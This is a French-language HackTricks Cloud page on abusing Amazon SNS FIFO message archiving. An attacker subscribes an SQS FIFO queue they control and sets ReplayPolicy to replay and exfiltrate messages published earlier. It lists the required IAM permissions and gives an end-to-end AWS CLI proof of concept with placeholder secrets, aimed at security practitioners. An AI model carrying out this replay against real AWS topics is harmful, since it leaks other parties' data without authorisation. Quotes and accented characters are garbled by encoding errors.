SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Abus de lâarchivage des messages dâun topic Amazon SNS FIFO pour rejouer et exfiltrer des messages publiĂ©s prĂ©cĂ©demment vers une file SQS FIFO contrĂŽlĂ©e par lâattaquant en configurant lâattribut ReplayPolicy de la subscription.
- Service : Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
- Requirements : Le topic doit avoir ArchivePolicy activĂ© (archivage des messages). Lâattaquant peut Subscribe au topic et dĂ©finir des attributs sur sa subscription. Lâattaquant contrĂŽle une SQS FIFO queue et autorise le topic Ă envoyer des messages.
- Impact : Des messages historiques (publiĂ©s avant la subscription) peuvent ĂȘtre dĂ©livrĂ©s au endpoint contrĂŽlĂ© par lâattaquant. Les livraisons rejouĂ©es sont marquĂ©es avec Replayed=true dans lâenveloppe SNS.
Preconditions
- SNS FIFO topic avec archivage activé :
ArchivePolicy(par ex.{ "MessageRetentionPeriod": "2" }pour 2 jours). - Lâattaquant dispose des permissions suivantes :
sns:Subscribesur le topic cible.sns:SetSubscriptionAttributessur la subscription créée.- Lâattaquant a une SQS FIFO queue et peut attacher une queue policy permettant
sns:SendMessagedepuis le topic ARN.
Minimum IAM permissions
- Sur le topic :
sns:Subscribe. - Sur la subscription :
sns:SetSubscriptionAttributes. - Sur la queue :
sqs:SetQueueAttributespour la policy, et une queue policy autorisantsns:SendMessagedepuis le topic ARN.
Attack: Replay archived messages to attacker SQS FIFO
Lâattaquant inscrit sa SQS FIFO queue au topic SNS FIFO de la victime, puis dĂ©finit le ReplayPolicy sur un timestamp passĂ© (dans la fenĂȘtre de rĂ©tention de lâarchive). SNS rejoue immĂ©diatement les messages archivĂ©s correspondants vers la nouvelle subscription et les marque avec Replayed=true.
Notes :
- Le timestamp utilisé dans
ReplayPolicydoit ĂȘtre >= leBeginningArchiveTimedu topic. Sâil est antĂ©rieur, lâAPI renvoieInvalid StartingPoint value. - Pour SNS FIFO
Publish, vous devez spécifier unMessageGroupId(et soit un dedup ID soit activerContentBasedDeduplication).
End-to-end CLI POC (us-east-1)
```bash REGION=us-east-1 # Compute a starting point; adjust later to >= BeginningArchiveTime if needed TS_START=$(python3 - << 'PY' from datetime import datetime, timezone, timedelta print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ')) PY )1) Create SNS FIFO topic with archiving (2-day retention)
TOPIC_NAME=htreplay$(date +%s).fifo
TOPIC_ARN=$(aws sns create-topic âregion â$REGIONâ
âcli-input-json â{âNameâ:âââ$TOPIC_NAMEâââ,âAttributesâ:{âFifoTopicâ:âtrueâ,âContentBasedDeduplicationâ:âtrueâ,âArchivePolicyâ:â{"MessageRetentionPeriod":"2"}â}}â
âquery TopicArn âoutput text)
echo âTopic: $TOPIC_ARNâ
2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)
for i in $(seq 1 3); do
aws sns publish âregion â$REGIONâ âtopic-arn â$TOPIC_ARNâ
âmessage â{"orderId":$i,"secret":"ssn-123-45-678$i"}â
âmessage-group-id g1 >/dev/null
done
3) Create attacker SQS FIFO queue and allow only this topic to send
Q_URL=$(aws sqs create-queue âqueue-name ht-replay-exfil-q-$(date +%s).fifo
âattributes FifoQueue=true âregion â$REGIONâ âquery QueueUrl âoutput text)
Q_ARN=$(aws sqs get-queue-attributes âqueue-url â$Q_URLâ âregion â$REGIONâ
âattribute-names QueueArn âquery Attributes.QueueArn âoutput text)
cat > /tmp/ht-replay-sqs-policy.json <<JSON {âVersionâ:â2012-10-17â,âStatementâ:[{âSidâ:âAllowSNSSendâ,âEffectâ:âAllowâ,âPrincipalâ:{âServiceâ:âsns.amazonaws.comâ},âActionâ:âsqs:SendMessageâ,âResourceâ:â$Q_ARNâ,âConditionâ:{âArnEqualsâ:{âaws:SourceArnâ:â$TOPIC_ARNâ}}}]} JSON
Use CLI input JSON to avoid quoting issues
aws sqs set-queue-attributes âregion â$REGIONâ âcli-input-json â$(python3 - << âPYâ import json, os print(json.dumps({ âQueueUrlâ: os.environ[âQ_URLâ], âAttributesâ: {âPolicyâ: open(â/tmp/ht-replay-sqs-policy.jsonâ).read()} })) PY )â
4) Subscribe the queue to the topic
SUB_ARN=$(aws sns subscribe âregion â$REGIONâ âtopic-arn â$TOPIC_ARNâ
âprotocol sqs ânotification-endpoint â$Q_ARNâ âquery SubscriptionArn âoutput text)
echo âSubscription: $SUB_ARNâ
5) Ensure StartingPoint is >= BeginningArchiveTime
BEGIN=$(aws sns get-topic-attributes âregion â$REGIONâ âtopic-arn â$TOPIC_ARNâ âquery Attributes.BeginningArchiveTime âoutput text) START=${TS_START} if [ -n â$BEGINâ ]; then START=â$BEGINâ; fi
aws sns set-subscription-attributes âregion â$REGIONâ âsubscription-arn â$SUB_ARNâ
âattribute-name ReplayPolicy
âattribute-value â{"PointType":"Timestamp","StartingPoint":"$START"}â
6) Receive replayed messages (note Replayed=true in the SNS envelope)
aws sqs receive-message âqueue-url â$Q_URLâ âregion â$REGIONâ
âmax-number-of-messages 10 âwait-time-seconds 10
âmessage-attribute-names All âattribute-names All
</details>
## Impact
**Impact potentiel** : Un attaquant qui peut s'abonner à un SNS FIFO topic avec l'archivage activé et définir `ReplayPolicy` sur son abonnement peut immédiatement rejouer et exfiltrer des messages historiques publiés sur ce topic, et pas seulement les messages envoyés aprÚs la création de l'abonnement. Les messages livrés incluent un indicateur `Replayed=true` dans l'enveloppe SNS.
> [!TIP]
> Apprenez & pratiquez AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez & pratiquez GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez & pratiquez Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Soutenez HackTricks</summary>
>
> - Consultez les [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Rejoignez le** đŹ [**Discord group**](https://discord.gg/hRep4RUj7f) ou le [**telegram group**](https://t.me/peass) ou **suivez-nous** sur **Twitter** đŠ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Partagez des hacking tricks en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

